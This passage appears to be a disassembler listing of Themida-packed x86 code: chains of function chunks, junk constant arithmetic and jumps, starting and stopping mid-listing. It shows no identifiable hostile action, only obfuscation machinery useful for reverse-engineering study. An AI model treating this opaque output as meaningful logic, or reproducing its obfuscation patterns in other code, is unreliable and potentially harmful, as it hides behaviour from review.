; FUNCTION CHUNK AT 00569AA3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A929 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AEDE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B859 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056CBC6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CED2 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056EB15 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056EEBE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005725F9 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00572639 SIZE 00000008 BYTES
lodsd
jmp loc_5636EC
sub_574CBE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_574CC4: ; CODE XREF: sub_563A7F+7407j
dec cl
push dx
push eax
jmp loc_573491
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569D5F
loc_574CCE: ; CODE XREF: sub_569D5F+6BFj
add al, dl
push ecx
mov cl, 57h
jmp loc_56AAA2
; END OF FUNCTION CHUNK FOR sub_569D5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE4B
loc_574CD8: ; CODE XREF: sub_56AE4B+148Aj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56AE4B
; =============== S U B R O U T I N E =======================================
sub_574CDD proc near ; CODE XREF: sub_564BD0+23j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00560A09 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560F3E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056362B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00563897 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005643F1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005656D9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00567924 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00567C9E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005693D1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056A4F5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056BDC5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056DB9D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056DE0B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056DEDD SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056EB58 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F5DD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00573C2B SIZE 00000033 BYTES
sub esp, 4
mov [esp+4+var_4], eax
jmp loc_560F3E
sub_574CDD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_574CE8: ; CODE XREF: sub_561027+12251j
pop esi
xor edi, 3C5E6C49h
push esi
mov esi, 710E391Bh
jmp loc_567019
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1F0
loc_574CFA: ; CODE XREF: sub_56F1F0-82A0j
dec ebp
add ebp, 0C3899866h
jmp loc_562931
; END OF FUNCTION CHUNK FOR sub_56F1F0
; ---------------------------------------------------------------------------
loc_574D06: ; CODE XREF: Themida_:0056730Bj
mov ebx, [esp]
add esp, 4
jmp loc_56BA60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_574D14: ; CODE XREF: sub_5733CA+Fj
and ebp, 7F7722F0h
shr ebp, 2
jmp loc_570E92
; END OF FUNCTION CHUNK FOR sub_5733CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_574D22: ; CODE XREF: sub_568E5C-6B76j
not edx
xor edx, 6CD75109h
dec edx
sub edx, 0D7013C42h
sub ebx, edx
jmp loc_56C127
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57377E
loc_574D38: ; CODE XREF: sub_57377E+19j
mov esi, edx
pop edx
push 0E607E126h
pop ebp
push ecx
mov ecx, 3634797h
add ebp, ecx
pop ecx
sub ebp, 359525EFh
add ebp, esi
add ebp, 359525EFh
jmp loc_5611C6
; END OF FUNCTION CHUNK FOR sub_57377E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_574D5D: ; CODE XREF: sub_5678CB+B2EFj
sub al, dl
pop dx
jmp loc_560197
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_574D66: ; CODE XREF: sub_56C83E+21C2j
dec ebx
push ebp
mov ebp, 39566A2Fh
jmp loc_56435A
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_574D72: ; CODE XREF: sub_57549C-3E01j
add eax, 4
sub eax, 4
xchg eax, [esp+0Ch+var_C]
jmp loc_561BA4
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_574D82: ; CODE XREF: sub_575315-E422j
mov esp, [esp-4+arg_0]
dec word ptr [esp-4+arg_0]
pushf
jmp loc_567B70
; END OF FUNCTION CHUNK FOR sub_575315
; =============== S U B R O U T I N E =======================================
sub_574D8F proc near ; CODE XREF: sub_563819-20B7j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056A920 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056BCCC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056D2AB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057357D SIZE 00000023 BYTES
push ebp
push ebx
push 1FE86997h
pop ebx
not ebx
add ebx, 1FE8699Ch
mov ebp, ebx
push [esp+8+var_8]
push [esp+0Ch+var_C]
jmp loc_57357D
sub_574D8F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_574DAC: ; CODE XREF: sub_563FA2+6D6Bj
add esp, 4
xchg esi, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov [esp-4+arg_0], esi
push ecx
jmp loc_5695DD
; END OF FUNCTION CHUNK FOR sub_563FA2
; =============== S U B R O U T I N E =======================================
sub_574DC1 proc near ; DATA XREF: Themida_:0055FE74o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560356 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005618B2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005658EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566653 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056724C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005684E3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056B3EF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C322 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570787 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574F40 SIZE 00000040 BYTES
lodsd
push 6D81h
mov [esp+4+var_4], ebp
push 37E73747h
jmp loc_570787
sub_574DC1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_574DD4: ; CODE XREF: sub_57354D-992Dj
push 6E4Ch
mov [esp+4+var_4], ebp
mov ebp, 4C3878E7h
push eax
mov eax, 3DAD5532h
shl eax, 6
xor eax, 4ECE2036h
add eax, 742B26h
jmp loc_562703
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_574DF9: ; CODE XREF: sub_560EA2+A963j
add ebp, 7946D0D2h
or ebp, 56F10355h
xor ebp, 2B1126EEh
and ebp, 4ABF0970h
add ebp, 459E75B0h
add ebp, 0F28BE8F5h
sub eax, ebp
pop ebp
sub eax, 9846C03h
jmp loc_57436C
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_574E2A: ; CODE XREF: sub_574304-B332j
push 4A110340h
pop ebp
shl ebp, 2
xor ebp, 38D70E15h
jmp loc_5710B9
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_574E3E: ; CODE XREF: sub_568E5C-48FBj
mov ebp, [esp+0]
jmp loc_571D43
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_574E46: ; CODE XREF: sub_56351E+11DF2j
mov edi, ecx
jmp loc_56AAF2
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_574E4D: ; CODE XREF: sub_56FA15-84C7j
push eax
mov al, 0E2h
mov dl, 0F1h
jmp loc_5718F9
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_574E57: ; CODE XREF: sub_5690E8+3F03j
mov edx, 0FFFFFFFFh
sub eax, edx
pop edx
add eax, 0A030FF4h
sub eax, 291A0535h
shl eax, 8
xor eax, 434E5A35h
xor eax, 84D68185h
mov ecx, eax
pop eax
neg ecx
push eax
mov eax, 7B2A7B21h
or eax, 6AA96485h
shl eax, 5
jmp loc_57386C
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5731F9
loc_574E8E: ; CODE XREF: sub_5731F9-107A3j
sub byte ptr [esp+4+var_4], bl
mov bl, byte ptr [esp+4+var_4]
jmp sub_5638E4
; END OF FUNCTION CHUNK FOR sub_5731F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_574E99: ; CODE XREF: sub_569DB5-6C17j
push esi
mov esi, 1E1909DEh
sub esi, 727A5F7Bh
xor esi, 0AB9EAA67h
sub ebp, 56D25D86h
sub ebp, 62D83B92h
add ebp, esi
add ebp, 62D83B92h
push edx
mov edx, 6C537046h
xor edx, 3A812DC0h
add ebp, edx
jmp loc_571AAB
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_574ED2: ; CODE XREF: sub_5685B2-4E25j
pop ecx
dec ebp
shl ebp, 5
and ebp, 13B76241h
sub ebp, 0D5EAB50Bh
jmp loc_5637DE
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_574EE8: ; CODE XREF: sub_571890-FDA6j
mov [esp+8+var_8], esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
jmp loc_56F355
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_574EFE: ; CODE XREF: sub_569CBC-6856j
mov esp, [esp+4+var_4]
mov [esp+0], ebx
mov ebx, esp
jmp loc_566CE2
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56264C
loc_574F0B: ; CODE XREF: sub_56264C+1j
sub eax, 637F576Dh
push esi
jmp loc_56984D
; END OF FUNCTION CHUNK FOR sub_56264C
; =============== S U B R O U T I N E =======================================
sub_574F16 proc near ; DATA XREF: Themida_:0055FD40o
var_12 = dword ptr -12h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = dword ptr -6
var_2 = word ptr -2
; FUNCTION CHUNK AT 0056015D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561B1A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00562498 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005628FD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00563532 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005657BB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566506 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056683D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056694D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00566B50 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00567358 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568992 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568E37 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569438 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056A005 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A1EE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B6A5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056C618 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056D4FB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DE6B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F860 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00570474 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005706FE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005724D3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00573E58 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057400C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057451A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00574B50 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00574B9E SIZE 00000026 BYTES
lodsb
xor al, bl
jmp loc_56015D
sub_574F16 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_574F1E: ; CODE XREF: sub_5687A3+7103j
push edi
mov edi, 5396068h
add ebx, edi
pop edi
xor ecx, ebx
pop ebx
sub ebp, 73EB6D1Bh
add ebp, ecx
push esi
push edx
mov edx, 243B7B4Eh
mov esi, edx
jmp loc_5650C3
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_574F40: ; CODE XREF: sub_574DC1-F4D2j
mov ecx, 4F123E9Ah
dec ecx
inc ecx
or ecx, 1AC19D9h
shl ecx, 6
or ecx, 6BFE3FEDh
sub ecx, 0DE5BBFA5h
sub eax, ecx
pop ecx
pop ebp
add eax, 5DCD4518h
push edx
mov edx, 59E23057h
sub eax, edx
pop edx
push 3462h
mov [esp+8+var_8], ebp
mov ebp, 44B822D8h
jmp loc_560356
; END OF FUNCTION CHUNK FOR sub_574DC1
; ---------------------------------------------------------------------------
loc_574F80: ; CODE XREF: Themida_:0056E156j
push ebx
jmp loc_56A93A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD36
loc_574F86: ; CODE XREF: sub_56BD36+80EAj
push esi
mov esi, 4012075Ch
neg esi
xor esi, 4BBD388Eh
add esi, 0BAF3FDAh
jmp loc_574963
; END OF FUNCTION CHUNK FOR sub_56BD36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_574F9F: ; CODE XREF: sub_56A7FB-7E7Aj
push ecx
jmp loc_5674F7
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680AC
loc_574FA5: ; CODE XREF: sub_5680AC-5A4Ej
pop ebx
xor eax, [esp-4+arg_0]
jmp loc_575026
; END OF FUNCTION CHUNK FOR sub_5680AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_574FAE: ; CODE XREF: sub_570CE4+323Ej
inc edx
add edx, 3FD4EF18h
xor eax, edx
jmp loc_56A706
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_574FBC: ; CODE XREF: sub_563A7F+BDD4j
neg ecx
sub ecx, 343D3141h
jmp loc_56E8C8
; END OF FUNCTION CHUNK FOR sub_563A7F
; =============== S U B R O U T I N E =======================================
sub_574FC9 proc near ; DATA XREF: Themida_:0055FE34o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560F50 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567AFB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056905F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C0B9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056D1B6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D68D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056D701 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056DB8D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E755 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056EA5F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056EC80 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056F54D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570209 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005706C5 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00570EAE SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00572993 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574412 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00575321 SIZE 00000007 BYTES
mov cx, [esp+0]
jmp loc_56D701
sub_574FC9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_574FD2: ; CODE XREF: sub_5678CB+8B3Dj
pop ecx
add ecx, 4
push ebp
mov ebp, 23B33548h
jmp loc_5753B6
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_574FE4: ; CODE XREF: sub_56638C+DECEj
mov edx, [esp+6+var_8+2]
add esp, 4
sub ebx, 4
xchg ebx, [esp+2+var_4+2]
pop esp
mov [esp+0], edx
mov edx, esp
push 666h
mov [esp+2+var_4+2], edi
mov edi, 4
add edx, edi
push [esp+2+var_4+2]
jmp loc_56258B
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_575013: ; CODE XREF: sub_569193-B0j
xchg ebp, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
jmp sub_57354D
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E27
loc_57501F: ; CODE XREF: sub_570E27-E1B4j
mov edx, esp
jmp sub_5673C3
; END OF FUNCTION CHUNK FOR sub_570E27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680AC
loc_575026: ; CODE XREF: sub_5680AC+CEFDj
xor [esp-4+arg_0], eax
xor eax, [esp-4+arg_0]
jmp loc_573D79
; END OF FUNCTION CHUNK FOR sub_5680AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_575031: ; CODE XREF: sub_561418+DDBEj
pop edi
add eax, 5D7D0447h
sub eax, esi
sub eax, 5D7D0447h
push edx
mov edx, 629D2441h
inc edx
jmp loc_572E79
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_57504A: ; CODE XREF: sub_56616D+4EFBj
sub edx, 4
jmp loc_56B7BA
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
loc_575052: ; CODE XREF: Themida_:0056803Cj
push 4540h
mov [esp], ecx
mov ecx, 7B651958h
push ecx
mov edi, [esp]
add esp, 4
pop ecx
add [esp+8], edi
jmp loc_571BF4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3AF
loc_575070: ; CODE XREF: sub_56D3AF-3BB4j
and [esp+4+var_4], eax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_575079: ; CODE XREF: sub_5604FE+Bj
push esp
pop ecx
push esi
push ebx
push 22D66D57h
pop ebx
add ebx, 7D6D18D0h
add ebx, 1DE72B87h
shr ebx, 4
xor ebx, 42B3E8B5h
jmp loc_571444
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_57509D: ; CODE XREF: sub_572075-35Ej
pop [esp+0Ch+var_C]
pop esp
mov [esp+4+var_4], edx
push 4
pop edx
sub edi, 75E214F5h
add edi, 48EC6805h
add edi, edx
sub edi, 48EC6805h
add edi, 75E214F5h
mov edx, [esp+4+var_4]
add esp, 4
jmp loc_56653B
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_5750D2: ; CODE XREF: sub_56C38F-2FD0j
pop edi
xor ebp, 21C91CCDh
jmp loc_56202E
; END OF FUNCTION CHUNK FOR sub_56C38F
; =============== S U B R O U T I N E =======================================
sub_5750DE proc near ; CODE XREF: sub_56513E+F2CFj
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0056413C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00565F66 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00567692 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056DCA2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005704CA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005743C8 SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 7AF70375h
xor edi, 5CAB6A3Ch
add edi, 9EF63622h
add ebp, 276D3581h
jmp loc_567692
sub_5750DE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_575103: ; CODE XREF: sub_561027+B260j
pop ebx
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
push esi
jmp loc_5737D5
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_575110: ; CODE XREF: sub_5666C3+96Fj
push edx
mov edx, 1ABBAE04h
sub edi, edx
pop edx
and ebp, edi
pop edi
jmp loc_567952
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_575121: ; CODE XREF: sub_56EE9F+2703j
shr ebp, 6
push ecx
mov ecx, esp
add ecx, 4
jmp loc_572930
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_575132: ; CODE XREF: sub_560CF1+F315j
add ebp, 4
jmp loc_57033B
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56666D
loc_57513D: ; CODE XREF: sub_56666D-15E6j
add esp, 4
push edi
mov edi, 0FFFFFFFFh
sub ecx, edi
jmp loc_5679F0
; END OF FUNCTION CHUNK FOR sub_56666D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C21
loc_575150: ; CODE XREF: sub_561C21+8225j
add al, 0BCh
mov bl, al
pop eax
shl bl, 6
push ecx
mov ch, 39h
jmp loc_574BF5
; END OF FUNCTION CHUNK FOR sub_561C21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_575160: ; CODE XREF: sub_569FB8-4190j
push esi
mov esi, 4
add ecx, esi
pop esi
push ebp
jmp loc_5656C3
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_57516F: ; CODE XREF: sub_565A8D+6950j
mov [esp+0], ebx
mov eax, [esp+0]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push edx
push esp
jmp loc_56FF14
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_575188: ; CODE XREF: sub_56B06D+30Dj
mov ecx, 24h
add esi, ecx
push [esp+14h+var_14]
mov ecx, [esp+18h+var_18]
push ecx
mov ecx, esp
jmp loc_5661E6
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56264C
loc_57519D: ; CODE XREF: sub_56264C+F941j
pop ecx
jmp loc_563752
; END OF FUNCTION CHUNK FOR sub_56264C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5751A3: ; CODE XREF: sub_5678CB+9FC0j
pop ebx
jmp loc_5603A4
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5751A9: ; CODE XREF: sub_56AB5E-82D3j
add edx, 4
add edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
sub edx, 3594A33h
add edx, 6079482Fh
add edx, eax
sub edx, 6079482Fh
push 3875h
mov [esp+0Ch+var_C], ebx
jmp loc_56A562
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5751D7: ; CODE XREF: sub_561418+A57j
push esp
pop ebp
push edx
mov edx, 4
add ebp, edx
pop edx
add ebp, 4
jmp loc_571E75
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_5751EA: ; CODE XREF: sub_56AEF2+466Fj
pop ecx
push 26F0h
mov [esp-0Ch+arg_8], eax
push dword ptr [esp+4]
mov eax, [esp-8+arg_4]
add esp, 4
pop [esp-0Ch+arg_8]
jmp loc_5691F5
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DAB2
loc_575205: ; CODE XREF: sub_56DAB2+11j
pop edi
add eax, 29700582h
jmp loc_57401B
; END OF FUNCTION CHUNK FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574503
loc_575210: ; CODE XREF: sub_574503-1396Ej
pop ebx
jmp sub_564B5A
; END OF FUNCTION CHUNK FOR sub_574503
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_575216: ; CODE XREF: sub_57523A-CF32j
mov edx, 5C8729AFh
add edx, 423D7767h
sub esp, 4
jmp loc_566733
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_575229: ; CODE XREF: sub_571C93-BFE1j
pop esi
sub ebx, edi
sub ebx, 6A056D72h
push [esp+4+var_4]
jmp loc_573A72
; END OF FUNCTION CHUNK FOR sub_571C93
; =============== S U B R O U T I N E =======================================
sub_57523A proc near ; DATA XREF: Themida_:0055FDD4o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 005624BC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005637C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056473C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005659E2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566733 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566A27 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567E8B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568306 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056AAC5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C332 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D091 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056ECC4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F202 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005708C7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005730DA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00575216 SIZE 00000013 BYTES
mov ax, [esp+0]
push 694Eh
mov [esp+4+var_4], edi
push esp
jmp loc_568306
sub_57523A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_57524C: ; CODE XREF: sub_56616D+BEE2j
not [esp-0Ch+arg_8]
pop ecx
or ecx, 33631A93h
push esi
mov esi, 7E9C592Ah
jmp loc_561E3D
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_575261: ; CODE XREF: sub_56657A-3B35j
pop esi
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
pop esp
jmp loc_574865
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574287
